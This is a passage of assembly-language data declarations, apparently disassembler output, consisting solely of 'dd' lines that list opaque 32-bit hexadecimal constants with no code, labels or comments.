		dd 97833E53h, 20EA1005h, 377A94DBh, 794B0F25h, 0A2004B24h
		dd 1E66C23Fh, 95B3E910h, 7AB76809h, 51A8B0FFh, 90DFF857h
		dd 0F4305FA1h, 0C5FE930h, 0E2EF9EC5h, 13FC112Bh, 64A871A1h
		dd 6F16E416h, 25D74DF3h, 4D490DEEh, 0E27F15FDh,	2277D11h
		dd 0C1AF13DAh, 0F86E812Fh, 5DF38043h, 741AC53h,	0DF790105h
		dd 15455072h, 2D045B7Ch, 5F9F57A4h, 7411DF8h, 6E568F40h
		dd 0E924E7CCh, 0E0C4B7EAh, 7DBB5E25h, 0EBCA5E13h, 0D49DB070h
		dd 0C2EADA80h, 0E27F250Bh, 72065776h, 0E817651h, 6EECEA89h
		dd 8A66814h, 5E9D0BDh, 421E5A62h, 7195E601h, 0C52E7FA6h
		dd 3CA7BE6Dh, 0CE8C10Fh, 47D1C849h, 8AC7654Bh, 0EACAC9Eh
		dd 0E0517B8h, 9E35F302h, 50CAB0E7h, 892330E9h, 727CBB82h
		dd 0C4A340EEh, 246103D0h, 0F89742B5h, 92B1E836h, 39C14898h
		dd 5245AB4Ah, 0CEAE1FCAh, 12A65D07h, 0AC52E029h, 0A7507691h
		dd 8105E801h, 712A292Dh, 0C60FCF7h, 53161326h, 0F19F0050h
		dd 692585D5h, 9D20AF90h, 0DB2B266Ch, 12AB05DFh,	7201BF90h
		dd 0BD895833h, 740B08F0h, 0ACC00706h, 0A010E5DCh, 28EE53F0h
		dd 958B6B06h, 6252D7Dh,	0A3A4F6E8h, 0B5201850h,	1EDE8116h
		dd 46E28E81h, 307CFFC2h, 7301B88Dh, 85891C1Ah, 458C1B11h
		dd 0F19B4C3h, 1FD38F6Eh, 78E4FB09h, 4D85F8D8h, 0E91886AAh
		dd 901D230Ah, 5A6D0E01h, 0C927042Ah, 5906CCh, 3CBCB7EAh
		dd 0ACBD918h, 0F9C55307h, 0B8B0E92Eh, 1FD7DE3Eh, 4960CFh
		dd 0BEF36E85h, 0E15C42BDh, 532200AEh, 0A56DF929h, 304A72Ah
		dd 0E02FD201h, 809E8689h, 74BF0518h, 0BE68A4h, 0A56FDFCFh
		dd 0B3D12BC1h, 5EE02C00h, 6FA14C7h, 298A641Bh, 0CEF1210Bh
		dd 0E3105212h, 8F78989h, 66CC448Ah, 8887FA84h, 4280D813h
		dd 65CB072Eh, 0C064C2E3h, 9D9304D5h, 0CC294C00h, 1E6ABC98h
		dd 0A4BD00CAh, 0C18680A0h, 8F00DD0Dh, 63CE7E11h, 1D9596ACh
		dd 40D6B877h, 2FEEC1D5h, 1E00DA6Ch, 0B1CE541Fh,	32DF475h
		dd 3C7A6AAh, 51D01017h,	0E400D18Eh, 0ACAB4071h,	305E1DF4h
		dd 0EE560B67h, 7300767Ah, 0B8B20E72h, 38EFFC7Bh, 0EC0791D2h
		dd 0C183741Ah, 0C409275Eh, 0EAF04F75h, 0CC246F00h, 7DACDE2Fh
		dd 4DC400B3h, 0FA011C67h, 1400C9E6h, 78C62AA6h,	8AD60Eh
		dd 60C65E0h, 0E469C48Dh, 6BCFEB00h, 3B26FD0Bh, 0D0E700E2h
		dd 20F67194h, 1E0F51D5h, 0E12DB7h, 0A443CD50h, 0A5FC0023h
		dd 3F48DAE5h, 0DE09C241h, 12BEF62h, 0EC470B00h,	7B9770h
		dd 0D6F5D736h, 4A0FB8A4h, 0C96BEF01h, 0A9DD1875h, 94F8FCh
		dd 0C40B0A5Ah, 385BBA2Ah, 0A64D2400h, 6F96970h,	3FD2766Ch
		dd 0C30EF379h, 3C60541Ah, 0A2B97B11h, 33F5FC00h, 229B4155h
		dd 0FA940021h, 87CB8A69h, 29001DBEh, 0C9D6AA25h, 3B77B90Eh
		dd 42009027h, 0E3891B6Eh, 7C00C119h, 63F3C633h,	7FA9A0F8h
		dd 0A1F90F78h, 544E4E2Eh, 29D20621h, 3391D8B4h,	0CE945Ch
		dd 247CF8AAh, 786A79h, 0B03AAFA5h, 5A63FC0Ch, 42C5C914h
		dd 0B13BEFh, 18281FECh,	0A4492Fh, 1FA9262h, 52B7CB51h
		dd 89FB58h, 83CEE759h, 240D321Dh, 39A4694Dh, 3EB42880h
		dd 2BC3A2B6h, 7DF4E000h, 59416E55h, 0D5BB501Ah,	0DD5039F1h
		dd 877BE980h, 77EB179Eh, 2885CD00h, 5CB97A2Dh, 33B30F70h
		dd 835D5972h, 0CA5BDB3Ch, 0FDCEB798h, 0D53F1C05h, 8D832D8Ch
		dd 0E33DF2BDh, 0B59AD84Fh, 49940C5Fh, 0FC4A259Fh, 0EF4ED49h
		dd 7EE9C65Dh, 0DE0F7464h, 0C520A598h, 0BFF2D000h, 0ECB597h
		dd 2E70F84Eh, 4622597Bh, 3E7F0207h, 52102CA8h, 72CF12C6h
		dd 0C2960066h, 3A93E387h, 0B41FC94Dh, 6380FC8Fh, 900B1365h
		dd 0E969009Ah, 35B6F748h, 30008D5h, 34F2A56Eh, 3D9DDD3Fh
		dd 0FF8E1CD6h, 51402719h, 44243987h, 0B1529000h, 58FC3473h
		dd 0B4EA2Fh, 5EC23331h,	69AF05A6h, 0D5889200h, 946409AAh
		dd 287B009Eh, 0E1BCB510h, 0B01F14Ah, 0A7D1D6F3h, 40DA0990h
		dd 602A8463h, 0D86810E5h, 0A00E9A6Dh, 5E345A7Ch, 1D503AC5h
		dd 0DAC2C740h, 0F8D7797Dh, 2FD7C18h, 27B72133h,	0A8802C63h
		dd 8C88E2EFh, 42189B00h, 2089D853h, 0A8ECEC25h,	0E41AECh
		dd 1C519478h, 0AF1E470Eh, 8157F18h, 0B131FEh, 1D54354Ah
		dd 2DE78B02h, 9F9C20FFh, 3C27B621h, 3AC95D0Ah, 0BD9280C4h
		dd 0B9DA3DE0h, 0B8402A00h, 0EC8E1847h, 0F5E90023h, 0BD61CC7Fh
		dd 2900016Eh, 24844819h, 0C003A030h, 566A0D40h,	8B007404h
		dd 0FDAB9C9Eh, 288FCB3h, 0D9B66E2Ah, 10404C6Dh,	0E2FEC8EEh
		dd 5C665660h, 90FB1DECh, 0E0585024h, 7C2101E9h,	0AE835FF4h
		dd 0DE1630CEh, 6A5D270Bh, 3823068Dh, 0BB10048h,	0B5E5EE3Eh
		dd 0F2C17B43h, 4A63CDF7h, 99D8FC25h, 95E50033h,	0E66C1AEEh
		dd 5300FBB1h, 0CB73C28Fh, 42B68Eh, 6F5C4E7h, 54584F03h
		dd 665A3809h, 2CB380C6h, 1CED1426h, 70DB04D4h, 97BCD70h
		dd 0E616F107h, 0FE0B211Ah, 8C1300DAh, 0E2670FD1h, 0AE7A8409h
		dd 9D328223h, 3AAC40FEh, 0FA340078h, 445CA97Fh,	552481FBh
		dd 5200F06Bh, 61DF1529h, 4D9F00B9h, 54846819h, 5103101Ch
		dd 90874C45h, 4286A0F7h, 5633AA3h, 14AC9Fh, 0E0EB0338h
		dd 0CC00E22Bh, 0D4B9CDE8h, 0B211A7h, 18041B65h,	7AFB205Eh
		dd 316E2201h, 3B3A1DB8h, 689F80CFh, 50980196h, 670C92D5h
		dd 7374E4D1h, 0ACF3D400h, 49CD1456h, 7C41023Dh,	2D40B534h
		dd 169B5440h, 0D6513C00h, 4427468Bh, 887401E5h,	7C3F199Fh
		dd 0D83C34D9h, 81A8451Eh, 0D3FB04C0h, 4BCA1Ah, 961D5609h
		dd 0D60B1880h, 40827B00h, 935BF434h, 54441D2Ah,	0E68A4324h
		dd 63E0493Ah, 9B1876CAh, 82791A9Ah, 0AB4B0221h,	250A59AEh
		dd 91E1A460h, 7F0EEF70h
		dd 4032CAB5h, 2C7AA11Bh, 4637001Ah, 0D0201D0Ah,	2E639B28h
		dd 3D79C7C8h, 0AA81F3FEh, 0E84311BAh, 2374D46Ch, 0E2F6B002h
		dd 0E3EDA08Ch, 0E67EB8A0h, 4D270557h, 8094A716h, 2DCD1250h
		dd 0E03AE503h, 35E60Fh,	0FF8E67C8h, 66B8B963h, 979AC300h
		dd 91B53FD4h, 0BBDC00FAh, 0B95F15BFh, 6500F33Ah, 0A76D3F4h
		dd 20BEC4Bh, 0B2C756D8h, 784003BCh, 0A900DA4Dh,	339D3EE2h
		dd 3EA0905h, 0E5EC28CFh, 2AF9868Fh, 0A27C6099h,	7258B698h
		dd 1AC5013h, 9701F09Ah,	1DDAF17Eh, 7CC8E223h, 5166002Ch
		dd 41DB5543h, 39F8D9BDh, 115EB007h, 9100D3A9h, 1C8ADh
		dd 7A8363D1h, 0AE1B0343h, 67195D13h, 0B8D07024h, 1CF977E9h
		dd 0F385C1Ah, 9E0974Ah,	40F128B0h, 0D5831103h, 886E394Fh
		dd 7747A94h, 0B2D7B7A0h, 0C09BD42Ah, 965302CCh,	3B23DB0Bh
		dd 76508060h, 0E8C56h, 0BCD32711h, 0C9FEC0A3h, 28474C00h
		dd 0E176D466h, 0C5370026h, 317A96B3h, 800F3BEh,	0CBA45B61h
		dd 783FD12h, 591446A6h,	10AF47E8h, 0F7E0B43Eh, 44649700h
		dd 0AB8B8ABEh, 0E4B81D19h, 0C5A44013h, 77F01A78h, 2598F800h
		dd 1B3BEE26h, 0E1230075h, 0E8683E70h, 3600BC93h, 2A4F7457h
		dd 142E62Fh, 0F7D55529h, 0ECA8BA34h, 3B01DEF9h,	0B2770CC3h
		dd 91ECA2D6h, 3547CABh,	4D81C640h, 0F488D09Ah, 590052F9h
		dd 0A9C01D0Fh, 9320B5Fh, 0A7499EEAh, 9784A780h,	0B90018FBh
		dd 2BA83053h, 21E3B0Bh,	34DD9CB4h, 0C8A05B77h, 0DA4638D0h
		dd 0DE760900h, 10D542Fh, 62580043h, 0A7EF2206h,	1600FE59h
		dd 3A0BF41Dh, 40B9D2h, 0F71E50F0h, 91DB2146h, 9C681124h
		dd 229E0201h, 332741h, 80853AE8h, 1F557FF0h, 3500A483h
		dd 27AFCAA7h, 70954Fh, 5ED15234h, 0C92A8B7Eh, 3B960600h
		dd 6BB55D36h, 1393001Ch, 5695044Fh, 73AD3B3h, 86A7048Eh
		dd 18C1D64Dh, 0F6FC80FEh, 0B6C602B1h, 18485028h, 91D9F8E0h
		dd 0A7290B0Ch, 0F41A1019h, 0D7BC304Ch, 21413838h, 75007D75h
		dd 49B18719h, 0A040B2A2h, 1CD546AEh, 40BC18DCh,	42BE172Bh
		dd 123CEB8Fh, 329600CBh, 15DD81D8h, 0DA600AFh, 0EE610B23h
		dd 0C21E68D0h, 0D200F7A8h, 3CCC9A9Eh, 2E2902CFh, 776034C1h
		dd 2153CC0h, 0B8856501h, 0AA96D856h, 0D4792980h, 51982DCh
		dd 4EA3321Eh, 0E85BFA80h, 1CEE703Eh, 0C0312458h, 0B52A035Dh
		dd 4B029B20h, 3FDFA805h, 7A79E083h, 3DEA9Fh, 793238A2h
		dd 48B0CE37h, 92D9D00h,	0EA02C251h, 2C17623h, 0D635ACE8h
		dd 0E88E8A42h, 5A0B7000h, 3B004BECh, 0B30E57CFh, 508648h
		dd 1655C88Bh, 8EDA0C2Bh, 59890200h, 5BC66307h, 0F93E00E7h
		dd 61732DC4h, 0B7008E6Fh, 0BA19ED36h, 53A8D3h, 7C6DA75Dh
		dd 15FA2038h, 0CC80E2F9h, 47358339h, 0DA11F16Ah, 8AC2B800h
		dd 0AF87A0h, 0A2FB13Dh,	68A70EB2h, 93E9EC1Ch, 29F42DC0h
		dd 4FB822h, 11520D5Fh, 967594AAh, 0FC900600h, 42A30FFEh
		dd 60570037h, 0CB7F3FFFh, 0C0083EFh, 0E62CB997h, 16983146h
		dd 0F40ADA0h, 0DB4FBF50h, 545DD8E0h, 0F438307Fh, 8DEB00D2h
		dd 0C04466EAh, 88D50FA7h, 29A428ADh, 0A3A9C0A6h, 5200CB1Ah
		dd 148CF80Fh, 3CC5E43Ah, 0BA027275h, 0C4F1E26Ch, 0D8B42060h
		dd 8AD9A100h, 0A3E39440h, 0ED0600AFh, 0DEA2158h, 5903A502h
		dd 55394886h, 1B8EE46h,	0A885F1ADh, 30BFD701h, 8801FBC8h
		dd 0C28A171h, 0E3DC59D4h, 0A28E00B8h, 0FDDC368Ah, 651CF6A3h
		dd 0EEC011C5h, 8E02F152h, 461A00CEh, 79332FD6h,	1C003D72h
		dd 447F3188h, 3F12B383h, 68870B30h, 70ABA62Ah, 57785262h
		dd 0EE206600h, 0E1C1AC34h, 95E050h, 521D8EC6h, 4336E709h
		dd 3CC4A600h, 9CC888ABh, 0A484CC3h, 7254D003h, 0F5A02451h
		dd 0E500A6E0h, 92AF330h, 0CE0B04h, 0F91D67BCh, 23771A53h
		dd 3A45D07h, 2ADA663h, 0A18430h, 103CB16Fh, 6C8A71BCh
		dd 0E2EF3A00h, 1AA6CB32h, 0BADB0075h, 361920A3h, 0A2137B4Fh
		dd 8500BCBBh, 0CF76543Dh, 0CE6D0FA0h, 0C05E0937h, 985B71FFh
		dd 0E7121381h, 2041A416h, 0D3A806EAh, 0F51E7880h, 2DD2EB9Dh
		dd 4AB544A0h, 67E341F7h, 18983CA9h, 0AB212F12h,	0F14900FDh
		dd 3D4ACDA1h, 801814D0h, 26389F9Bh, 28FD606Dh, 0DE96612Ah
		dd 0FAE640C0h, 506A780Eh, 0CB42409h, 2B02F261h,	0E06E220h
		dd 9F9D292Ah, 0A1EA0558h, 45BEBDCh, 0A13CA94Ch,	12E8E048h
		dd 3A550F3Eh, 0E95A1C0Ah, 0EE02D80h, 0FA1470h, 30C78DB8h
		dd 0A48C3DD7h, 6DA8681Fh, 0EA158E00h, 767DC9h, 0CF22DA52h
		dd 426BC61Dh, 2618957Fh, 0CA7197BEh, 2BAF077Eh,	8168A6F0h
		dd 8B677D23h, 41438681h, 79D03F30h, 24150830h, 381667Ch
		dd 57E0ECA7h, 0E4ED1180h, 9EE7AAD7h, 18387B83h,	11FA83C3h
		dd 0CD0CD325h, 81211A7Dh, 28C90CC0h, 0AA11FEBEh, 0B457BB03h
		dd 176E01ADh, 0A2E8758h, 0BCB8FF8Dh, 0AC32007Ch, 2CA0793Ch
		dd 9A00E369h, 2B3F330Eh, 0E870F9BFh, 81A60030h,	0A93EC99Bh
		dd 0A160EC1Bh, 1961E510h, 4FA03D38h, 1D6AC50h, 0FAFB6285h
		dd 4627ABD7h, 0A4206084h, 78BEF853h, 81F0301Fh,	0F1510610h
		dd 7E6AB65Ch, 273CE17Fh, 60551FA5h, 35C0B703h, 6EBDE1EBh
		dd 0BEF51441h, 5DA29F0h, 21AF262Ah, 63BC0411h, 0F9D4E2Ch
		dd 39A1BEDh, 738D2AA8h,	3012B7F5h, 3840FA8Eh, 0FF577CA1h
		dd 1203711Fh, 24EEF84h,	11EE134Ch, 0BC3427E0h, 596E21C0h
		dd 533969F2h, 2084208Dh, 0C7C16449h, 99BC47DAh,	0F399F00h
		dd 4E587DAAh, 0A8A280A3h, 26E7A898h, 28A3B019h,	6422BD30h
		dd 0A8B161Ch, 40E44163h, 0C9D13F9Dh, 0AB377C00h, 0BFBB3B45h
		dd 33720034h, 0B626CCF5h, 9D3CED21h, 0CB8266Ah,	0A7689800h
		dd 0BB167Dh, 0FAD8016Fh, 0B0E1DBC8h, 0ED347105h, 0C285F99Fh
		dd 3E6B3040h, 0AD5A28h,	461DE3ACh, 57210942h, 6120D400h
		dd 7226B60Ch, 0BDA00744h, 1B2A94Ah, 830737FBh, 0F85CA4C0h
		dd 0AAE80F64h, 7C20D6D5h, 3200E7Fh, 39A59B05h, 0F3800163h
		dd 5220869h, 1A442916h,	0C0884924h, 0E1B88C21h,	0EF4D1069h
		dd 0E3570167h, 0EEFD0EEAh, 790898DAh, 0F72B21h,	22092167h
		dd 83FFA066h, 30A8FB57h, 0E0CA09AAh, 4239C07Bh,	9CAC6139h
		dd 72715E71h, 0B71C7800h, 80356F0Dh, 0B9470091h, 76963C69h
		dd 200E5BAAh, 95365763h, 63B39B4h, 2921F7C6h, 0C4BD4828h
		dd 33B98D80h, 2DEEEED9h, 9111F300h, 9F2E3FA9h, 0A1CF3B68h
		dd 0A61423CCh, 5103D057h, 2BFA92DDh, 371E6022h,	0E051F7BEh
		dd 3A88E012h, 0FC8A7D00h, 0E6C4A0BAh, 0AEECE99Eh, 37400B67h
		dd 2442AAB4h, 4805948Eh, 78841AF6h, 42F8FC81h, 990434FEh
		dd 0B66A1100h, 2EFB1280h, 3045B078h, 0BE41962Fh, 0D2796839h
		dd 0C136E60Fh, 0A2108017h, 90A53034h, 0A7040580h, 406A8223h
		dd 606607A8h, 0AA500508h, 0BD303BE4h, 570AC12Eh, 0A1F03BA9h
		dd 92761CC8h, 21F56320h, 91D86FE8h, 63A1542h, 7A60800Dh
		dd 0E9AA6A4Fh, 5092A6h,	0B015A73Dh, 9726CBCEh, 9DDD2701h
		dd 0D15482ECh, 60B79092h, 5667F01Ch, 0D42E310h,	2C8073C8h
		dd 0F0D767F8h, 26A600A2h, 80CB11E7h, 0C8928FCFh, 4247EE0h
		dd 2CA8DC4Ah, 0F8237D24h, 42E1109h, 64801338h, 48C6A765h
		dd 187F70F9h, 401FDBAFh, 7C2523E5h, 86A0827Eh, 596484A1h
		dd 0C3155180h, 0C43C01FEh, 0BE370DA0h, 66885022h, 900F36F4h
		dd 0A521877Fh, 0CC410241h
		dd 6B8256CDh, 1F75F8h, 460B59BEh, 0C00E69AFh, 144180F3h
		dd 0BE233176h, 426202A1h, 1B7DB40Fh, 0C97578FAh, 1A08722h
		dd 0AFF01206h, 0D4470D40h, 0F8738FDAh, 0C8F12F32h, 800CC044h
		dd 60E8A432h, 753E30AAh, 104C38C6h, 0B5861830h,	1715B51h
		dd 887E72ECh, 0F4EDF469h, 0A12515Eh, 0FC0484B4h, 7C82703Eh
		dd 806C8F42h, 9D7D868h,	0AF870BAAh, 3003EB71h, 0CFAA6195h
		dd 18F66041h, 0B0681333h, 2F520980h, 10976011h,	683BB8h
		dd 2DFC6221h, 26E3379Fh, 4E21712h, 0C0385048h, 0A045A95Ah
		dd 0EF227546h, 8072EB3Dh, 80DA8903h, 25E3BE7h, 0E12940F7h
		dd 8800A57Ah, 1367E16h,	89D3935Ch, 0FCEE339Fh, 0CD00CB12h
		dd 6D6968DDh, 982808EFh, 1E7F7602h, 0F07FEC0h, 34D31832h
		dd 65A44058h, 0B3836FB9h, 985911C0h, 72916330h,	667007E3h
		dd 4993C3DFh, 5AD4EC80h, 33022595h, 169B2EFh, 867840DBh
		dd 0FE41C0B6h, 1DAF9DF7h, 91E66C00h, 24530C01h,	0E1B10299h
		dd 80292207h, 0D407A4A9h, 210C76Dh, 7C487484h, 90264C29h
		dd 0FD06009Ch, 26684520h, 0DE307E6Dh, 0BBA33200h, 17F02837h
		dd 26CD1615h, 0EB1440BCh, 0EC3F72C7h, 0AF67CC03h, 97EAAAE7h
		dd 4283D43h, 887C1ED0h,	71D08061h, 0AC2C2BE3h, 7A0924AEh
		dd 1FC88459h, 0C1801649h, 85B1CF6Ah, 8C02797Bh,	7EFA4334h
		dd 3DB8A16Ch, 4C64C9F0h, 0F290966h, 8826E21h, 4602F75Bh
		dd 0B950C9BFh, 6708EE18h, 0C4F2E370h, 0F62E4075h, 0B0A7467h
		dd 0D44C7B76h, 5624AF01h, 3EEC29BDh, 0A7C60041h, 5526DFFBh
		dd 61DD0092h, 96637243h, 5B1212AEh, 4959A86h, 0B3EBE441h
		dd 0A6E5E469h, 0E1425824h, 4074B050h, 7E560134h, 0D17FD647h
		dd 531C2008h, 59F41150h, 49217D30h, 6E94FA5h, 58AA2D3Ah
		dd 3D16C1E3h, 282141F7h, 44F4EE07h, 0B45201C0h,	25D363D9h
		dd 0ED586035h, 9C4C010Bh, 0B0F40A13h, 0D340A900h, 0B1C45EECh
		dd 39681114h, 0A2249644h, 0E6FEF845h, 0AB88C2h,	0A49227C2h
		dd 0B0637100h, 5A781167h, 0D6A11709h, 24B20070h, 0A48B7ED0h
		dd 55A66804h, 8063B8h, 0F7A022Eh, 39A327B9h, 0FE1434A2h
		dd 76715440h, 0CC20FA4Ah, 265FEAD6h, 98D0373Fh,	2580192Eh
		dd 0A0882754h, 3B36ED01h, 0E083F6A6h, 6E84E428h, 578B486h
		dd 123EB005h, 0D882B520h, 0B9DCC926h, 0B7E82180h, 23C00B3Eh
		dd 0B16759C0h, 587998h,	0C275F502h, 166E7D8Eh, 12E4FF3Ah
		dd 2E0752FAh, 0A81A349Fh, 25BE3686h, 0E9370041h, 0FC7FD17Dh
		dd 1200E507h, 6CB24F79h, 0CCFD277Ch, 73A82DF0h,	3EB5048Ch
		dd 629D2011h, 0BCDB20ACh, 0C30EDC3Eh, 0E1EE9CD3h, 0AEE261AAh
		dd 0A03960DCh, 34E784h,	719D2D26h, 1722B17h, 2012CF2h
		dd 4C139B65h, 8082A06Ch, 0CEFC63E7h, 2C9FE880h,	18DFAF8Ch
		dd 61DF1C54h, 377CA118h, 0A8D00014h, 0DDD564E8h, 0BEF96614h
		dd 0B2898098h, 12613ECh, 0A9AFE06Fh, 0CA90DB1Eh, 0BC037C50h
		dd 7C1FF95Bh, 38B4AC5Ch, 0E4D4A540h, 7F2860B1h,	88E901DDh
		dd 0B4A00AA7h, 0C072BFh, 0AAE8E393h, 1C9F451h, 902F8DB6h
		dd 0E0C8FCE7h, 2D1DA5FAh, 0A8DA2A82h, 68C160E0h, 3260D58h
		dd 0E069B787h, 0A003B57h, 763D8259h, 934A14h, 8F6C715Ah
		dd 0F851C303h, 0E024A09Ah, 0AB804C65h, 40CDF307h, 0FA5B01C5h
		dd 0F455FF89h, 26F0874Ch, 0FC0B5ACh, 94F6702h, 0E1D0860Ch
		dd 0F342906Fh, 1AA811B8h, 78420D0h, 48516149h, 7022C2D0h
		dd 0FAE43026h, 0E06920A0h, 0F4C45Dh, 8DCB543Ch,	974815h
		dd 0C1EE125Ch, 0CE3E428Bh, 5A2E20F0h, 3D1DE0CCh, 0E0215E03h
		dd 5535C0E4h, 1A8A0797h, 406092DCh, 761E7A7h, 6AC64A00h
		dd 722AF937h, 0E5550003h, 0C33C0960h, 0ED00078Eh, 40198FCDh
		dd 576E8B9Ah, 0BD0738ECh, 8E9B401Ch, 0C0A81894h, 589D08C7h
		dd 3DB04A86h, 8D924D2Ah, 6950013Dh, 0E7CE561Ch,	8FBAA5B8h
		dd 1E4A1D3Ah, 0ED003A6Ch, 0E04B0391h, 0DA6E306Bh, 6DBDF6D1h
		dd 9A6AF9F0h, 4A32C39h,	6A3341E2h, 0E35FC0C0h, 0A44E84h
		dd 0B3E0D0D4h, 0FF0A692Ch, 0D8448E1Bh, 0E061BA09h, 186D79A4h
		dd 184BE02Bh, 8BF0B0C0h, 0F808D450h, 0A50788B0h, 2493BC7Ch
		dd 5CA43E71h, 0F7FA2C40h, 0F444F7A7h, 84DB0C61h, 733716EAh
		dd 0A0D130FFh, 59A42F7Ch, 79D01920h, 89E8E4BAh,	0C2F541C4h
		dd 31AA9C93h, 3F19DF40h, 0E328902Dh, 8FDC085h, 0E4777258h
		dd 7DF23B8Ah, 0EADF91Dh, 834AEB0h, 6E3C44BAh, 0E97CB4h
		dd 673BD026h, 0E0282802h, 67A9E365h, 0F2F9DC98h, 817D2321h
		dd 2EE4E424h, 819CCC83h, 1E3F3EA7h, 63EAD02Eh, 0AA2A0CA0h
		dd 53439F1h, 455C7420h,	0A97E1481h, 0ACFE1A82h,	0C8B5429h
		dd 26087C0Fh, 58149F8Ah, 0B169ED07h, 0E86474FEh, 0F3E8855h
		dd 0B4AC2015h, 0E5BC418Ch, 0B8081485h, 0E8A34BC9h, 2A652A25h
		dd 0A4840419h, 5BF2F836h, 0CD604C2Dh, 48986959h, 0F213D044h
		dd 2014306Ch, 0FC5463C0h, 228C6452h, 45E48DB2h,	0E3768146h
		dd 647C321Bh, 90265398h, 6271E42h, 26EDF806h, 8719C061h
		dd 884C326Ah, 0C3E0DF69h, 0FB1C02F9h, 0FABA590Ah, 424E94D7h
		dd 8960F87Ch, 84E8BAE0h, 704A820Ch, 9928E680h, 380C7153h
		dd 0F8C50C0h, 4C96A2Ch,	0B8FD1955h, 0E08A09D4h,	10F4293Fh
		dd 4C138203h, 2B712054h, 6092CA28h, 48B0343Ah, 0A1A5C828h
		dd 99BC4680h, 0E4270C8Ch, 0A9CC8244h, 0F10C6746h, 28830A47h
		dd 8CA43454h, 148A25A8h, 99EC6880h, 0C764C20Ch,	9CADB8F0h
		dd 0A21EC551h, 385A1AA5h, 0A990A0AFh, 0B5AEA6B0h, 1492AAE4h
		dd 58D84253h, 0E4BE8674h, 8850AF61h, 1FF8848Dh,	297E1939h
		dd 4D6B51FAh, 2D81BEA8h, 5CA02586h, 0E0D5D835h,	0A901586Ch
		dd 2C33674Ch, 444652FCh, 845F11BBh, 0BCEC40BEh,	6F104660h
		dd 1F8F9E06h, 4DA5DFDDh, 41187364h, 1217F78h, 0CC48AC1Eh
		dd 0DBE82C43h, 0C2F7808Ch, 7B136EDCh, 0F1F370C7h, 672088C8h
		dd 0DB449C20h, 83CA65Bh, 0D43AF90Ch, 3CE828F2h,	4D7ECDE0h
		dd 0D82A8F71h, 6B083C8Eh, 0F1ADFC36h, 0E1985258h, 86806C56h
		dd 70BE3CB3h, 120A7E4Fh, 450D1A7Dh, 40A742A4h, 2DC596C8h
		dd 6B04D6E0h, 0E90A2968h, 0F200FCE2h, 7CD8605h,	9A7E364Fh
		dd 80C80B3Ch, 0F11137EAh, 4CB926AFh, 4133027h, 0E65404A7h
		dd 62035CA6h, 0C844726Fh, 5BB481B5h, 0E13C46ADh, 0FA00A97Ch
		dd 0D474330Ch, 0E9A34DBh, 6CBE480Ah, 771565A0h,	0AA07E1B5h
		dd 0A9EF27E3h, 1339B3F0h, 28080703h, 401CFF47h,	0C4F38D12h
		dd 0EC11ED0Fh, 1D94ED5h, 9F5223AFh, 0A93AA0EFh,	0A62D0B35h
		dd 304B207Dh, 220EF3F0h, 800C6738h, 29E14028h, 78E5BBh
		dd 502505BEh, 0DD682662h, 7EE119C6h, 9ED000B9h,	52F3C8E6h
		dd 4498928Dh, 0DE50EC07h, 3E903C66h, 24A88Fh, 71B0B4FBh
		dd 339DCFEBh, 7CFA80A0h, 0D4941C51h, 773A8F08h,	0B94E00EAh
		dd 4FF2F5Eh, 568A1EE9h,	3E864701h, 5382C0F3h, 49F0E630h
		dd 0BE00C3E0h, 0C2B8C8A1h, 14B90643h, 140748BDh, 41C157A3h
		dd 0F33080BCh, 0BA324287h, 805570C2h, 0E7790146h, 0A563Eh
		dd 0A7BB0384h, 60333D86h, 0E50690E9h, 18DD04B6h, 0EF0A4900h
		dd 3A363F88h, 806C90E9h, 0B3E80B28h, 0F30EEA1Dh, 0E8355403h
		dd 42780CB6h, 45313AC3h, 59EA3037h, 0B5F1BC83h,	0E3B20C21h
		dd 0E6108457h, 0E5684h,	3542BDEEh, 0C4586B8h, 0A1B9E718h
		dd 764B229h, 0E98A1030h
		dd 5F9F8158h, 1F498F8Bh, 0ACDEFA5h, 78001841h, 9E479861h
		dd 879F00E1h, 14204DE7h, 7A39F536h, 991A000Eh, 8BE58832h
		dd 6EB7135Eh, 0E74307D8h, 0E391C058h, 6A1DDF4Dh, 0A2469E3Ah
		dd 1718366h, 4914FF9Fh,	6CA48Eh, 0E8FA2132h, 91351862h
		dd 0DE202863h, 0E8A17202h, 3B659DAh, 0A128D108h, 0B9451832h
		dd 0C84F9ECCh, 8475F68h, 19F731FCh, 1833438Dh, 0D9598FDDh
		dd 92101124h, 0E5C91EE4h, 104402Ah, 0B411DAD4h,	0C1F2AF04h
		dd 8CB8A4F4h, 817AC959h, 31A8A48Bh, 8311E65h, 1D598186h
		dd 0A1F4BD70h, 60443F30h, 2D2620B3h, 5D2828B1h,	3521D0B7h
		dd 0DF629088h, 7381E191h, 8CBF2869h, 0B96F0731h, 687E30B3h
		dd 0C9ECE369h, 4160710Ah, 5E18A4B2h, 2839EA41h,	6EDCA454h
		dd 0E0E3F1BAh, 317BD6F4h, 185C4F31h, 4C4131E4h,	584030A6h
		dd 60A387E3h, 6177919Eh, 18905908h, 23B983FFh, 1D3189DDh
		dd 0B22B8B31h, 4CA26318h, 58887833h, 91EE98E8h,	2024D8A0h
		dd 301528FEh, 21E605D4h, 0A421DE70h, 0DD0AB4B0h, 8DB74A4h
		dd 9B2530B8h, 0C7086951h, 0EBB23042h, 0ECB4891Bh, 8928DC0Ch
		dd 7F42281Bh, 218444B8h, 0C4F82F57h, 421085B7h,	0FC904F8Fh
		dd 88CB428Ch, 6A274448h, 0A29E6C10h, 4FDF117Eh,	0FC048278h
		dd 9AD39E7h, 8289FCAh, 5651FFB8h, 428DAF08h, 7890CAE0h
		dd 5C99B608h, 6C443A13h, 2152845Fh, 833CD98Ch, 7C52E631h
		dd 0B21065Ch, 619DBE0Ah, 84A18C90h, 0AB20D666h,	34921CE8h
		dd 20583196h, 0DE2BF80Ch, 37BC694Dh, 5C106127h,	54F1D9D3h
		dd 26DA08B3h, 0C28CA150h, 0D0669CA3h, 38627E14h, 50722874h
		dd 8DBC654Ch, 9BF009F8h, 0A38E18A2h, 0AFFB11A0h, 0A0F50429h
		dd 98EC293Ah, 0F0263492h, 76900141h, 0A1094567h, 200300E5h
		dd 3FB907BDh, 204FEA0Ah, 58B3E434h, 0F4E7993Eh,	0B7400400h
		dd 83D530FFh, 0A1EE0E9Bh, 7E003E90h, 0B83348B6h, 1454F07h
		dd 3730B3BDh, 7C4688E5h, 0D83DE899h, 0C3401128h, 0BC00457Ch
		dd 0BF073C84h, 736484Fh, 50183B8h, 0C25487D5h, 38E1B3E7h
		dd 34F1E0ECh, 438AEE02h, 0C67A4104h, 7D048DD4h,	0ED140E60h
		dd 5B49084h, 314779F3h,	65182CB9h, 5B84249h, 0A6203A01h
